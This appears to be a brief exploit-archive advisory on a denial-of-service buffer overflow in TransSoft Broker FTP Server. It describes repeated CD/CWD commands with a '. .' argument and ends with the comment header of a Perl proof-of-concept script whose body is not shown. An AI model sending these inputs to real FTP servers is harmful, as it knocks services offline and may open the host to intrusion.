TransSoft Broker FTP Server 3.0/4.0/4.7/5.x CWD Buffer Overflow Vulnerability

                                                source: http://www.securityfocus.com/bid/2851/info

Broker is a Windows FTP server from TransSoft.

Versions of Broker are vulnerable to a denial of service.

A CD or CWD command, argumented by an invalid '. .' (dot-space-dot) sequence can, if repeatedly issued, create a buffer overflow causing the server to halt, requiring a restart.

The extent of this issue's exploitability is currently unverified.

# Broker FTP Server 5.9.5.0 DoS proof of concept
#
# Syntax : perl brokerdos.pl <host> <port> <loginid> <loginpwd>
# Impact : eventually causes an access violation in the TSFTPSRV process
#          the buffer overflow might be exploitable and be used to gain access
#          to the FTP Server hostcomputer.
